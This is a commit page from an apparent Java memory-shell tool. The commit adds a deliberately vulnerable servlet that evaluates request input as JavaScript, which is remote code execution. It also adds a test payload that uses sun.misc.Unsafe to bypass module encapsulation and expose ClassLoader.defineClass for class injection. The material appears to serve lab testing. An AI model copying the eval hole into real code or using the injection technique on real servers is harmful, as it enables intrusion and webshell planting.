archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-24 07:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support XMLDecoderDefineClass packer

Browse Source
This commit is contained in:
ReaJason
2025-07-22 20:41:29 +08:00
parent d6466d1658
commit a8979e43bb
13 changed files with 207 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java
+27
View File
@@ -0,0 +1,27 @@
package jakarta;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class ScriptEngineServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
try {
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
resp.getWriter().println(eval.toString());
} catch (ScriptException e) {
throw new RuntimeException(e);
}
}
}
vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml
+9
View File
@@ -45,6 +45,15 @@
<url-pattern>/b64</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>js</servlet-name>
<servlet-class>jakarta.ScriptEngineServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>js</servlet-name>
<url-pattern>/js</url-pattern>
</servlet-mapping>
<filter>
<filter-name>empty</filter-name>
<filter-class>jakarta.EmptyFilter</filter-class>
vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java
+52
View File
@@ -0,0 +1,52 @@
package jakarta;
import org.junit.jupiter.api.Test;
import javax.script.ScriptEngineManager;
/**
* @author ReaJason
* @since 2025/7/22
*/
class ScriptEngineServletTest {
@Test
void test() throws Exception {
System.out.println(System.getProperty("java.version"));
System.out.println(new ScriptEngineManager().getEngineByName("JavaScript").eval("var className = new java.lang.Exception().getStackTrace()[0].getClassName();" +
"var clazz = java.lang.Class.forName(className);" +
"print(clazz.getSuperclass());" +
" var unsafe = null;\n" +
" var rawModule = null;\n" +
" var offset = 48;\n" +
" var getAndSetObjectM = null;\n" +
" try {\n" +
" var unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\");\n" +
" var unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
" unsafeField.setAccessible(true);\n" +
" unsafe = unsafeField.get(null);\n" +
" rawModule = java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []);\n" +
"print(rawModule);" +
" var module = java.lang.Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, []);\n" +
"print(module);" +
" var objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" +
" offset = objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"));\n" +
" getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, java.lang.Long.TYPE, java.lang.Object.class);\n" +
" getAndSetObjectM.invoke(unsafe, clazz.getSuperclass(), offset, module);\n" +
"print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
"print(java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []));" +
" } catch (ignored) {\n" +
"ignored.printStackTrace();\n" +
" }" +
"var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass());" +
"var clsString = java.lang.Class.forName(\"java.lang.String\");" +
"var clsInt = java.lang.Integer.TYPE;" +
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
"var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsString, clsByteArray, clsInt, clsInt]);" +
"defineClass.setAccessible(true);"
)
);
}
}